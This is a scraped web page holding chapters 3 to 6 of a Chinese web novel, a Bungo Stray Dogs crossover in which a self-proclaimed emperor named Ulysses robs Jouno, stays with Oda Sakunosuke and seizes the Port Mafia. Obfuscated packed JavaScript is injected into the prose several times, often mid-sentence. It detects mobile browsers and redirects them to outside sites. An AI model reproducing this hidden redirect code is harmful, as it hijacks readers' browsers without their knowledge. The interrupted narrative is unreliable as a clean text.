《朕的横滨!》 3. 第 3 章 作为一个行动力很强的皇帝,尤里西斯只和流浪汉说了几句话,就去想办法弄钱了。 就在他的目光从街边的招聘广告扫过时,忽然看见了一个人。 那个人看上去很特别,所以尤里西斯一眼就注意到了他。 特别到什么地步呢?像是一堆模样毫无记忆点的NPC里混进了一个重要角色,让人眼前一亮,街上的其他行人似乎都长得一个样,尤里西斯对他们有种微妙的脸盲,可这个人却很特殊。 对方的头发大体上是白色的,发尾却是渐变的红,让尤里西斯一看就有种上去搭话的冲动,想问问对方,是哪个发型师的染发技术如此高超,竟然将渐变色染得如此自然。 尤里西斯毫不掩饰地望着对方看了一会儿,对方很快察觉到了他的注视,微微偏过头来。 啊。还是个眯眯眼。尤里西斯心想,这家伙看上去好像比我还要特别,这不对吧——他可是皇帝,他理应是人群中最亮眼的那个。 也许他应该去染个头发,红配绿最好,这样他的臣民就能第一时间认出他。 “有事吗?”对方朝他走来,虽然眼睛是眯着的,还是让尤里西斯感受到了一种强烈的被打量感。 “……”尤里西斯没说话,因为他的注意力此时全在对方的脸上了,盯着对方半天,忽然说道,“你看不见吗?” 对方虽然明面上与常人无异,走路也不撞墙,但尤里西斯还是一眼看出来了——对方是个盲人。 “……”对方看上去表情没有变化,气息却变得危险起来了。 过了一会儿,正当尤里西斯感到没意思,想要离开的时候,对方忽然来了一句,“谁派你来的?” 尤里西斯歪了歪头,以他此时的状态,有点理解不了对方的意思。不过他向来有个好习惯:有问必答。 “不知道。” 对方看起来好像更危险了,缓慢地将手挪到了腰间的佩刀上,似乎在权衡利弊。 然而尤里西斯只是觉得,这个平民故弄玄虚,真是个装货。 当对方将刀架在他脖子上,再次逼问他是谁派他过来的时候,他依然是这么想的,并且直接说出来了,“装货。” “……” “……??!” 对方第一时间没反应过来,下一刻就握紧了刀,在尤里西斯的脖子上留下一道血痕,靠近了尤里西斯毫不畏惧的脸,试图听清对方的心跳频率,以此更好地判断对方的想法。 但他失败了,这个人的心跳简直稳定得离谱,他听过各种情绪不同的人的心跳,就算是同一个人在平静环境下,心跳频率也不见得完全一致,而这个人却是一模一样的。 就像是机器一样,心率平稳得不可思议。这不应该,就算对方压根不惧怕他,也不应该如此稳定——人类的客观生理条件不允许这种情况的发生。 条野采菊心下诡异,不过这还不足以让他忽视对方刚才的出言不逊——那家伙刚才叫他什么?装货? 他露出一个带着微妙不爽气息的笑,决定给对方一个教训。 正好这里没有监控…… 尤里西斯直勾勾地盯着条野采菊看了一会儿,将这个特别的人的特征都看在眼里,很快,就像是看腻了似的,莫名其妙地说道,“你能给我钱吗?” 条野采菊本来都准备打人了,闻言动作一顿,看向尤里西斯的眼神发生了变化,半晌才咬牙切齿地说,“……有病?有病就去治啊!” “所以能吗?”尤里西斯没头没尾地看向了周边的街道,说的话却让人摸不着头脑,任由最顶尖的心理专家来了,都得迷茫一阵子——他的逻辑好像都是混乱的,让人理不清他的想法。 条野采菊当然也是。 “……哪来的神经病。”条野采菊收起了刀,这会儿他已经不打算跟个疯子计较什么了,难得大发慈悲,决定给精神病院打个电话,将他们出逃的病人接回去。 “……喂?精神病院吗?”条野采菊拨通了电话。 “你要送我去精神病院吗?”尤里西斯确认道。 “不然呢?”对方不耐烦道。 “我不能答应你。” “……什么莫名其妙的?” “就算是皇帝最宠爱的臣子,也是没资格替皇帝做决定的。”尤里西斯说道,谁也想不到,为什么有人能像他一样,一脸平静地说出这么让人难以理解的话,就好像跟其他人的大脑结构截然不同,所以别人理解不了他。 “?”条野采菊第一次跟这么前言不搭后语的人对话,半天才想明白对方要表达的意思,原来对方说的皇帝是指对方自己,但这完全是无稽之谈——如果对方是皇帝,那他还是天皇呢! “哟,还是个妄想症。” “……”尤里西斯叹了口气,45度仰望天空时,眼里透出一股明媚的忧伤,好像在为无人理解自己而感到哀伤似的。 条野采菊……简直槽多无口。 完全是神经病啊。 精神病院接到电话,抓病人的车辆已经在路上了。就在等车时,尤里西斯又说话了。 “按照正常逻辑……”尤里西斯忽然说道,“在做出那种事之前,我应该和你道个歉。” “真是不好意思啊。”他说,“还没来得及问你叫什么名字。” 条野采菊已经懒得理会这个沉浸在自己世界里的疯子了。他不准备告诉对方自己的名字,直接转过头。 过了一会儿,估摸着车快到了,条野采菊回头道,“喂……” 根据声波的路径,他这才发现身后已经空无一人了。 他:??? 他生平第一次怀疑起了自己的耳朵,因为目盲,他的听觉等感官都异常敏锐,因此并不担心对方悄悄逃走,可是—— “怎么不见了???” 紧接着,他发现了一件更让他难以接受的事—— “我钱包呢???”他摸了摸口袋,钱包不见了。 好在对方还没来得及跑远,条野采菊找到对方时,对方正在打量他钱包里装着的军警证——那是他加入【猎犬】时,队长颁发给他的独一无二的证件,上面还印着他的大头照,就跟身份证差不多了。 “哇哦。”对方说,“你到底在哪里染的发?这是几年前的照片了吧,发色居然一模一样,技术很稳定吧——我是说,那个给你染发的发型师。” 条野采菊真的有点生气了。方才只是佯装生气,以此恐吓对方,但对方并不是吓大的,全程无感。 他以为对方只是个脑子不正常的疯子,没想到对方却神不知鬼不觉地偷走了他的钱包,这足以让一个恶劣的控制狂感到恼怒了。 “……还给我。”他说。 对方却不以为意,甚至做出了更火上浇油的行为,当着他的面抽出了一张纸币,一屁股坐到了路边的石墩上,“这些钱到横滨应该够了。谢谢你的上供,愚民。” 条野·愚民·采菊:“…………” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16559765|186909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……你去死吧!”条野采菊冷笑了一声。如果在街上不小心杀死了一个抢劫犯……对方犯罪在前,那么【猎犬】当然有权力制裁对方,就算下手重了,也是情理之中…… “皇帝可不会死。”尤里西斯权当他在放屁,以一种异常欠揍的可恶姿态走到条野采菊面前,食指和中指之间夹着一张纸币晃了晃,“愚民,想要吗?” 条野采菊已经想象出了对方人头落地的画面,眼神中充满杀意。 此仇不报非君子!! “很遗憾。给皇帝的上供是不能收回的。”尤里西斯说道,“愚民,在这里好好反省吧——因为你对皇帝的糟糕态度。” 怎么能说皇帝是神经病呢?真是大不敬! 条野采菊这才发现自己已经动弹不得,全身上下能动的部位只有眼珠。 尤里西斯打了个哈欠,转身要走,而条野采菊只能保持着拔刀的姿势,僵硬地站在原地,目呲欲裂地目送对方离开。 “贱人!!!”条野采菊在心里无声大喊道。 尤里西斯在之前那个售票员那里买了票。对方一开始低着头记录着什么,听到尤里西斯的声音就抬起头来,以为尤里西斯要找她帮忙,立刻站了起来,“啊!您现在还需要帮助吗?” “不用了,”尤里西斯笑了笑,“谢谢你的好意。” 虽然是帮助残障人士的好意——但是皇帝对好意全盘接收。 这个世界上除了方糖,还有另一种美妙的东西——那就是他人的善意,他真希望他领地的臣民也都是这样心怀善意之人,这样他的领土一定会蒸蒸日上。 尤里西斯想到之前和他说过话的售票员和检票员,露出一个笑来。如果是熟知他过往的人见了,一定会毛骨悚然,退避三舍,这意味着皇帝又要干出什么骇人听闻的事了。 坐上电车后,没多久,电车内就响起了一条紧急通知,有个抢劫犯混进了电车,所有人都要配合检查。 广播还说,那个抢劫犯不仅抢劫,并且袭警,虽然人模人样,但是患有攻击性的精神病,非常危险!对方的外貌特征很明显,戴着一顶别着孔雀羽毛的帽子,衣服是礼服式的奢华。任何检举他的人都会得到一笔不菲的奖金。 尤里西斯坐的车厢里人很少,只有两个乘客,恰好另一个乘客就坐在他旁边。 尤里西斯完全没有做了抢劫犯的自觉,正望着电车外面,撑着脑袋发呆。忽然,透过车玻璃的倒影,他看到了旁边的人正在用余光悄悄观察他,对方盯着他帽子上的羽毛看了几秒,表情变得紧张起来。 他状似看风景似的,没有立刻表现出来。望着玻璃的倒影,等对方小心翼翼地从座位上起来,一步一步地往旁边走的时候,才转过头,面带微笑地说道,“偷看可不是好习惯哦。” 对方差点吓死,满脸仿佛见了鬼似的惊恐神情,尤里西斯的笑容更深了。 “求、求求你,不要杀我……”对方恳求着,眼泪鼻涕都吓出来了。 而尤里西斯像个优雅杀人魔似的,慢慢靠近了对方,直直地盯着对方的眼睛,给以强大的心理压力。 等对方的恐惧已经上升到了顶点,仿佛下一刻就要晕过去的时候,尤里西斯才轻飘飘地来了一句。 “你知道厕所在哪里吗?” “…………” ??? “……那边。”对方完全不敢说什么,指了指车厢尽头。 “谢谢。”尤里西斯礼貌道谢。 4. 第 4 章 尤里西斯大摇大摆地从原本的车厢离开,看见有人在厕所外面点了根烟,就若无其事地靠在墙上,跟对方搭话,“横滨还有多久才到啊。” “没多久,也就半个小时吧。你第一次坐这趟车?”对方是个胡子拉碴的大叔,还挺热心,话挺多的。 “应该是。你是横滨人吗?横滨近况如何?” “为什么问这个?”对方像是有些诧异,不过还是回答了,“我是横滨的,横滨最近还行吧,和以前差不多。” “能不能说详细点?” 简直是听君一席话,如听一席话。 “……”对方不吭声了,默默掐灭了烟,就在尤里西斯以为对方发现他的抢劫犯身份时,对方忽然又说,“你是未成年人吗?” “不知道。” “……”对方上上下下地打量着他,过了半天,仿佛得出了什么结论,眼神中透露出几分恍然大悟的意味,“你离家出走了吗?我可以帮你,你家长号码是多少?” “?”尤里西斯的脸上缓缓浮现出疑惑,“你在说什么,大叔?” “别置气了。虽然偶尔会出现一点小摩擦,但你父母肯定是爱你的,你现在是在出cos吗?这衣服真够华丽的。”对方好像产生了什么误解。 尤里西斯精准地捕捉到了“华丽”的形容,像是遇到知己似的,上前抓住对方的双手,惊喜地说道,“你也觉得这衣服很华丽吗?” “是的。”对方不明所以,“正常而言,这衣服确实华丽得可以。” 以他的眼光来看,对方光是领口处的宝石,就价值连城,完全看不出造假的痕迹,好不好看另说,华丽是肯定的。 “第一次有人夸我的衣服好看。”尤里西斯曲解了对方的意思,并且沾沾自喜,措辞不知不觉间变得彬彬有礼起来,“方便问问你的名字吗?” “我?我叫织田作之助。”对方这么回答,“你叫什么名字?” “我叫尤里西斯。”尤里西斯很快回答,并且大方地表示,“因为你我品味相投,我——伟大的尤里西斯皇帝陛下允许你直呼我的大名。” “……”织田作之助沉默了一下,果然是中二病吧。 他沉静的眼睛注视着尤里西斯夸张的表演,视线在对方略显稚嫩的属于少年的五官上停留了一瞬,温柔地选择不揭穿对方的中二病演出。 “好的,伟大的皇帝陛下。有什么需要我帮助您的吗?”他决定配合一下中二病少年。 尤里西斯高兴地说道,“我将要去往横滨,因而需要一位领路人。” “您住在横滨吗?” “将要。” 织田作之助自动将其翻译成了“我将要搬去横滨”,还善意地提醒道,“横滨不是宜居地,作为日常居住地的话,还是东京更为合适。” “那不重要。”尤里西斯愉快地吹了声口哨,重要的是,伟大的皇帝陛下将要回到他的领地! . 尤里西斯到达横滨的时候,天色都晚了,就在他思考着今晚在哪个长椅上睡的时候,在电车上偶遇的红发大叔朝他发来了邀请。 “如果不介意我家孩子比较多的话,可以来我家休息一晚。” 于是他就跟着织田作之助回去了,织田作之助家里确实养了挺多孩子,尤里西斯数了数,有些惊叹,有五个呢。真是英雄父亲,能养活这么多孩子可不容易。 “我回来了。”织田作之助跟屋里的几个孩子打招呼,还没来得及换掉鞋子就被咲乐扑过来抱住了,紧接着其余孩子都围拢了过来,孩子们都很惊喜,“我们还以为你今天回不来呢!织田作!” 尤里西斯十分欣慰,不由得点了点头,心道,让每个家庭都像织田家一样幸福就是皇帝的使命啊! “这是尤里西斯,要暂住在我们家一晚。”织田作之助跟孩子们介绍道。 孩子们朝尤里西斯投来视线,神态各异,眼神都很好奇。 咲乐作为其中唯一的女孩,看直了眼,“……你是明星吗?” 尤里西斯傲然道,“我是皇帝。” 咲乐还没到能理解皇帝意思的年纪,为了和尤里西斯搭话,绞尽脑汁想了半天,才找到一个意思相近的名词,“是天皇的意思吗?” “什么天皇?没听说过的东西。” 其他人:“……” 幸介犹豫半天,才说,“天皇就是日本的皇帝。” “哦。”尤里西斯没什么反应。 “你是哪里的皇帝?” “横滨。” “横滨的皇帝……”幸介被对方的气势唬住了,一时之间有点怀疑自己的常识,横滨的皇帝不就是日本的天皇吗?可对方又根本没听说过天皇…… “就是横滨的皇帝。这有什么好怀疑的吗?语气笃定点!” “好……好的!” “不错,就该这样!幸介草民,你现在很不错,知道吗?如果你能继续保持,我会考虑让你做我的贴身护卫。” “……好的。”幸介露出有点怀疑的神色。 “不相信?皇帝会用实际行动获取臣民的信任。你且等着,明日我就封你,还有织田作之助做我的贴身护卫。” 突然被cue的织田作之助:“……” “……”幸介的嘴角已经开始抽搐了。这家伙在说什么呢!明明长得这么好看,为什么会说出这么莫名其妙的话啊! 尤里西斯冷笑一声,作为皇帝,他见过大风大浪,对于不被臣民信任这种小问题,他早有经验。 他说他是皇帝,空口无凭,别人不信也是正常,但等他拿回属于他的权力和身份,幸介当然会对他之前的承诺感恩戴德——不是什么人都有资格当皇帝的贴身护卫的! 次日。 “我今天就会拿回属于我的一切。”出门前,他故作深沉地说道。 织田作之助打了个哈欠,刚从房间里走出来,就看到尤里西斯已经整装待发,衣服整整齐齐,像是一宿没睡似的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几个人悄无声息地转移到了绝不可能泄露机密的秘密基地,开始就皇帝相关的事情进行商讨。 “克里斯蒂女士那边说了,我们能不惊动皇帝,就不要惊动皇帝,只要将皇帝的日常监控起来就行,不过这个本地家庭感觉有点可疑啊,那个织田,现在正在横滨的一个□□组织,港口mafia工作。虽然只是底层成员,身份也有些敏感了。” “是的,□□组织可能导致变数。不过目前我们也只有按兵不动了,看皇帝自己接下来怎么做吧。” “皇帝好像和那个织田相处得还算不错。” “这个不重要,他很快就会忘记的。皇帝当年也和莎士比亚先生关系不错,但后来他忘得一干二净,莎士比亚先生还挺伤心的。” “不管了,总之都记录下来吧。将一切都记录下来,我们的任务就算完成了。” 5.第 5 章 尤里西斯离开织田作之助的家之后,在街上漫无目的地游荡了一会儿,才顺着他人的指引找到了正确的方向。 “往这边走,走到道路尽头再拐个弯,然后直走就是了。” “谢谢。”尤里西斯说道。 没过多久,他就到了目的地。 “哇哦。还挺高。”尤里西斯抬头看向传说中港口mafia的五栋大楼,一开始为大楼的高度惊叹,一想到横滨被反贼占领,就有点不高兴了。 他从别人口中得知,港口mafia的首领就是横滨的暗夜皇帝——真是可恶,居然比他还多了个酷炫的前缀! 说好了要封幸介和织田当他的贴身护卫,所以他今天一定要肃清反贼! 只不过,在肃清反贼之前,他还得处理一些“小麻烦”——有人在跟踪伟大的皇帝陛下,他早就发现了,到现在才有时间处理他们。 “还不出来吗?” 他对某个看似无人的巷子说话。 “……” 皇帝应该没发现我们吧?巷子里,躲藏的钟塔侍从成员用口型对同伴说道,露出牙疼的表情。 “我数三下。”他们口中的皇帝说道。 “三……” “对不起,皇帝陛下!”两个跟踪的人立刻跪在了尤里西斯面前,几乎五体投地,大声喊道,“我等草民,因为太过崇拜您,忍不住瞻仰您的美貌和才能,所以情不自禁跟随您左右,非常抱歉影响了您!” 尤里西斯看着跪在自己面前的两个人,只花了一秒钟就选择接受。 说实话他还挺高兴的,作为一个自恋的皇帝,他很乐于看到民众对自己表达喜爱,尽管表达方式太过极端,但宽容的皇帝陛下并不介意。 “不必行此大礼。崇拜皇帝是正常的——朕原谅你们了。” 搞定了?两个人面面相觑,目送皇帝离开。 皇帝看起来心情不错,连背影都透露出愉快。 “情报上说的一点儿没错……”皇帝的危险性确实不算高,因为他很少下定决心非要杀人,很容易就会放人一马,就像现在这样,只需要几句溜须拍马的好话,皇帝就不介意留他们一命,甚至愿意额外赏个笑脸。 虽然丢人了点……好歹活下来了。 还好是皇帝啊,如果是其他超越者,恐怕连问都不会问,就会直接将跟踪他的人杀掉。 “您真是个好皇帝。”钟塔侍从成员真心实意地想,他不敢把这话说出来,免得因此丢了职位。 尽管还未夺回自己的领土,尤里西斯走在横滨的街道上,还是走出了领导视察基层的气势,看了一眼整洁的街道,眼神赞赏,看到斑马线车辆礼让行人,微微颔首,发现有小混混欺负平民? 尤里西斯眼神一凛:横滨居然有这种恃强凌弱的风气!作为皇帝,他是断断不能放任这种不良行为的! 于是——正义的皇帝陛下帮助平民驱赶了混混,得到了一张好人卡。 “谢谢您,您真是个好人!”被救的人感激涕零地跟他道谢。 皇帝陛下很有成就感,他自诩世界上最好的皇帝,当然要保护好麾下的子民们,于是他摆了摆手,谦虚地说道,“应该的。” 解决完几个小插曲,皇帝陛下抬脚向港口mafia的总部走去,有黑西服的人拦住了他,“闲杂人等禁止入内。” 在尤里西斯的观念里,世界上有四种人:受到皇帝保护的子民,不敬皇帝的愚民,妄想挑战皇帝威严的反贼,以及皇帝的穷亲戚——众所周知,一个世袭的皇帝总是有很多旁系亲戚,当皇帝登基时,这些亲戚就会来打秋风,烦人得很。 横滨是他的地盘,这是毋庸置疑的事实,但是让人难过的是,横滨现在被一群反贼占领了,现在拦在他面前,妄图阻碍皇帝收复疆土大业的黑西服就是反贼的手下之一,对于反贼及其部下,皇帝都是一样的态度。 “你有两个选择。”尤里西斯竖起两根手指,轻轻晃了晃,“要么滚出我的视线,要么,就去死。” “选吧,反贼。”皇帝可不会尊重反贼,用词遣句当然是怎么直接怎么来,他才懒得跟一群反贼浪费口舌,看在上帝的面子上,他才勉强给了反贼生还的选择。 尤里西斯口齿很清晰,所以虽然说的是英语,也足够让这个时常接触外国人的港口mafia成员听懂,然后勃然大怒,“你竟敢冒犯港口mafia的尊严?!” 接下来的事情就是很简单的清扫、镇压,皇帝已经很习惯这样的事了,以雷霆手段,不费一兵一卒,轻松收服了第一栋大楼,虽然反贼头子还在另外的大楼顶层的首领室坐着,但距离皇帝击败反贼头子,并且收复横滨已经很快了。 “森……鸥外在哪里?”尤里西斯问身边的黑西装。他对日语名字的发音有些陌生,第一次读森鸥外的名字,感觉有点怪怪的。 黑西装听到了他的问题,抬起一张毫无辨识度的大众脸,于是尤里西斯忽然发现了一件让人苦恼的事,他记不住别人的脸,反贼的部下们现在已经被他招安,对他卑躬屈膝,十分温顺,但他们都穿着一模一样的黑西装,几乎长得没什么区别,他实在是认不出来。 “在旁边紧挨着的那个大楼,我带您过去,您请跟我来。”黑西装诚惶诚恐,尤里西斯很满意——拿枪指着皇帝像什么样子?就该这样毕恭毕敬才对。 一切都很顺利。就像征服第一道关卡,港口mafia的第一栋大楼一样,后续的关卡也是顺利得不得了,在有人带路的情况下,尤里西斯一个人就足以无视所有挡在他面前的障碍,径直来到了森鸥外的面前。 “森……鸥外。”尤里西斯在名字中间莫名其妙地断了一下句,他真的很不习惯日语名的发音,也许他以后应该颁布一条新法令——所有横滨人都必须有一个英文名,这样他们的皇帝陛下就不至于为了念个名字而舌头打结了。 “……”森鸥外目光沉沉地看着他,多希望这一切都是幻觉,眼前的挑战者是他的臆想—— 但事实不如他所愿。 “我为横滨而来。”尤里西斯言简意赅地说道,“从今往后,横滨就是我的领土,而我会是横滨唯一的皇帝。” 森鸥外简直怀疑自己的耳朵,他不可置信地在心里默念了好几遍那个词汇——皇帝? 哈? “……” “现在,离开我的位置。”尤里西斯发号施令,“你坐在皇帝的位置上。” 森鸥外木着脸,说不清自己现在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585523|186909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么感觉,只觉得好像在做梦一样,整个人都是恍惚的,听到皇帝的话,下意识地站起身来,让出了他的位置。 “你的宰相是谁?叫他来见我。”尤里西斯迅速地适应了自己的身份,以皇帝的名义下达了命令,他要查看横滨的政务等情况。 “……” “你还有两秒钟的时间。”尤里西斯不悦地说道。 感受到杀气,森鸥外汗毛倒竖,立刻从神游的状态里回来了,“……我没有宰相,宰相的工作是我自己在处理。” 尤里西斯意味深长地望着他,“没想到还是个独裁主义者。” 森鸥外:“…………” 槽多无口。 “告诉我横滨现在的大致情况。” “横滨目前人口一百多万,在近几年呈下滑趋势……” 听着森鸥外的阐述,尤里西斯若有所思地点了点头,“看来改善民生迫在眉睫啊,不然我的子民都要跑光了。” “横滨行政由政府主导……” 尤里西斯一拍桌子,“什么政府?” 森鸥外抖了一下,突然这么大的拍桌子声音,吓他一跳。 “日本政府……”森鸥外弱弱地说道。 “大胆!”尤里西斯很生气,“没有皇帝的机构,也敢称政府?!” 森鸥外:“…………” “看来统一横滨同样要提上日程了。”尤里西斯神色凝重,“朕可不能放任这帮人分裂横滨,定要让横滨大一统!” 森鸥外嘴角抽了抽,怎么跟古代大名争霸似的。 “您要攻打政府吗?”森鸥外问道。 “注意你的措辞,森大臣。”尤里西斯不快地说道,“现在,我们才是政府。” 森鸥外的眼神很复杂,他张了张嘴,有种深深的无力。尤里西斯暴力攻下了港口mafia,用武力征服了所有人,包括他。 这个人给他的感觉很恐怖,让他完全生不出战斗的想法,他一见到尤里西斯,就知道他不可能是对方的对手,若是负隅顽抗,就是自寻死路,他自诩聪明人,自然不会选择这么愚蠢的死法。 对于港口mafia的每个人来说,今天都是魔幻的一天。 一个自称皇帝的人闯进了他们的大本营,轻松打败了他们所有人,将“顺我者昌逆我者亡”展现得淋漓尽致,不服者血溅当场,屈服者才有活下去的可能。 他们也是今天才知道,原来只要武力值够高,一天当上Boss不是梦。 尤里西斯推翻森鸥外统治之后的第一件事就是要求每个人改口,不许叫他Boss,要喊他皇帝。 “我是皇帝,Boss算什么?”尤里西斯傲然道。 他还专门设置了一个规定,如果有人偷偷用皇帝以外的称呼叫他,只要被举报,一经确认属实,就要被扣一个月工资,这样一来,大家都怕被举报,于是不管明面上还是私下里,都喊尤里西斯“皇帝陛下”,很快,这件事就流传出去了。 “港口mafia野心居然这么大?都开始称皇帝了!”人们议论纷纷。 太宰治出差回来时,附近的人都在议论这个。 “港口mafia首领换人了?”他笑了笑,“有意思。” 6.第 6 章 “皇帝说话算数。”尤里西斯对织田作之助说道,“现在,朕,伟大的尤里西斯一世,任命你做朕的贴身护卫。” 织田作之助见尤里西斯从外边回来找他,还挺高兴,横滨现在挺乱的,他担心尤里西斯受伤,听到尤里西斯这么说,他已经习以为常,应付道,“好的,陛下。” “幸介呢?”尤里西斯问道,他还要封幸介做他的贴身护卫。 “出去玩了。” “那等他回来,再行封赏也不迟。”尤里西斯说道,“我如今已经拿回了属于我的权柄,横滨已经是我的领地了,从今往后我都会保护横滨以及横滨的所有子民。” “真了不起。”织田作之助自然地夸赞道。 “皇帝应该做的。”尤里西斯努力压住上扬的嘴角,一副故作矜持的样子,让人看不出他心中所想。 ——朕的贴身护卫真讨人喜欢,朕要一直带着他,等他百年之后,朕要给他与朕同葬一处的恩赐。 . “我们有新首领了。”尾崎红叶说道。 中原中也出差回横滨之后,就听到了这么一句话。他先是“哈?”了一声,然后挖了挖耳朵,确认自己耳朵没出问题,就说,“什么?” “港口mafia的首领不是森先生了。”尾崎红叶语气平静地重复了一遍,“就在昨天,全体mafia宣誓效忠新首领,当时你不在,现在刚好可以补上。” 中原中也仿佛被一记重拳击中后脑勺,表情十分精彩,良久,自言自语道,“现在是白天啊?” 如果不是他从不做梦,他都要以为自己在做梦了。 “不是梦,中也。”尾崎红叶叹了口气,眉眼间透露出几分疲惫,“组织易主了,你我都必须表态。” “……什么意思?我不在的时候,有人将组织整个攻打了下来?”中原中也不可置信地说道,“森先生还活着吗?只要首领还活着,我可以贡献我的力量……” “噤声!中也,你知不知道你在说什么?”尾崎红叶语气严厉,眼神中闪过一丝恐惧,“首领现在只有一个,你以后见到森先生,也不要再叫他首领了。” “可是……红叶大姐,我们难道……”不能再争一争吗?那个人才刚占领组织,根基不牢,他们还有一战之力! “你以为我没想过吗?”尾崎红叶压低了声音,“那个人踏进港口mafia的第一天,我们就集体反抗过他,你知道结果是什么吗?” “什么?” “拿枪指着他的人都死了。”尾崎红叶想到当时的情景,就有些不寒而栗。那个怪人自称皇帝,是个不折不扣的疯子,对方差点掐断她的脖子,要不是她及时命令金色夜叉替她投降了……现在她就不会全须全尾地站在中原中也面前了。 “……”中原中也听了,倒是不惊讶,mafia的斗争从来都是这么血腥,死人也是常有的事,但看红叶大姐这副心有余悸的样子,对手一定实力强劲,这么想着,中原中也在心里敲响了警钟,要打起十分精神应付对方。 “……叮铃铃!”尾崎红叶取出手机,来电话了。 “……我在。您有什么吩咐吗?”尾崎红叶一看到通话界面上显示的来电人,下意识地放轻了呼吸,像是害怕惊动猛兽似的,十分谨慎。 “……”电话没开外放,中原中也听不清对面说了什么,一阵安静后,尾崎红叶点了点头,对电话那头说道,“我明白了。” 接着,尾崎红叶挂断了电话,对中原中也说道,“中也,他要见你。” 于是,中原中也踏上了前往觐见新首领的电梯。首领室楼层很高,坐电梯也要一会儿,趁着坐电梯的间隙,他想起了尾崎红叶刚刚和他叮嘱的事项。 ——叫他陛下。 ——别忤逆他。 ……陛下是什么鬼?他以为他是皇帝吗? 中原中也实在是理解不了,只是在心里将“陛下”这个称呼咀嚼了几遍,就有种难言的古怪,很难说出口。 还有,别忤逆他?简直像封建时代的皇帝一样…… 在心里默默吐槽了几句,电梯就到了。中原中也走进首领室,与往常不同,今天的首领室光线很好,几乎可以用天光大亮来形容,有种微妙的酒店顶楼露台的阳光感。 他第一眼并没有看到人,观察了半天,才听到了细微的动静,那声音是从首领桌子底下传来的,森先生以前就在那张桌子上处理事务,现在桌子上空荡荡的,只有一顶别着孔雀羽毛的奢华帽子。 像是翻找什么般的悉悉索索,中原中也的目光在桌子停留了好几秒,终于,一个黑色的发顶从底下探出来,对方应该是卷发,头发蓬松的弧度让他还以为是太宰,但等对方露出全貌,他就知道不是了。 那是一个黑色卷发的少年,眼睛是宝石蓝,神情倨傲,像只骄傲的小孔雀一样,给人一种张扬气盛的感觉。 “中原……中也?“对方冲他喊道,他下意识地应了一声,“陛下,是我。” 对方是陌生人。红叶大姐没和他说过新首领的外貌特征,不过眼下首领室只有对方一个人,行为还如此大胆,想必就是新首领无疑了。 “森大臣出去帮朕泡咖啡了。他跟朕说,桌子底下有一盒蜡笔,但朕翻了半天也没找到它在哪儿,你来帮朕找找。”皇帝理直气壮地说道。 中原中也只得按照对方的要求在桌子底下翻了翻,底下堆了些纸质文件,除此之外就没有别的了,顺手打开隔层一看,隔层里就躺着一盒蜡笔。 “居然在这里!很好,中原大臣,你立功了,朕要表扬你。”皇帝很高兴,拍了拍中原中也的肩膀。 “……”中原中也有种梦游似的感觉,觉得眼前发生的一切都有些虚浮,不像是现实中会有的情况,印象里阴暗的首领室变得很明亮,新上任的、据说专横跋扈的首领其实是个年轻得不可思议的少年……而且还是个外国人! “森大臣,你太慢了!为什么泡个咖啡要这么久?”皇帝不满地说道。 中原中也往门口一看,才发现是森先生回来了。森先生此时已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599616|186909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经不是首领了,但装束没有发生太大的变化,只是少了条红围巾,正赔笑道,“陛下恕罪……咦,中也君回来了?” “朕刚刚让尾崎大臣传话,让中原大臣过来见朕。”皇帝责问道,“森大臣,你为什么要把蜡笔藏得这么严实?朕找了半天。” “……”顺理成章地,森鸥外又讪笑着赔罪了。 中原中也幻灭地看着这一切,有种看着舞台剧在现实发生的荒谬感,皇帝的自称是很明显的“朕”,而且皇帝称森先生、红叶大姐,还有他自己的称呼是很复古的——森大臣,尾崎大臣,以及中原大臣。 “好吧,看在你还算诚恳的道歉的份上。”在森鸥外的致歉下,皇帝大度地选择了原谅,紧接着就将注意力转移到了中原中也身上,“现在,中原大臣,你该向朕宣誓效忠了。” 中原中也有点茫然,宣誓效忠?红叶大姐和他提过,应该是新首领上位后的某种仪式……但具体步骤是怎样的? “摘掉你的帽子,单膝跪地,然后亲吻朕的手背。”皇帝提示道。 中原中也:……为什么这么羞耻啊!简直跟中世纪的骑士效忠礼一样! 他很想拒绝,但现在似乎没有选择的余地。 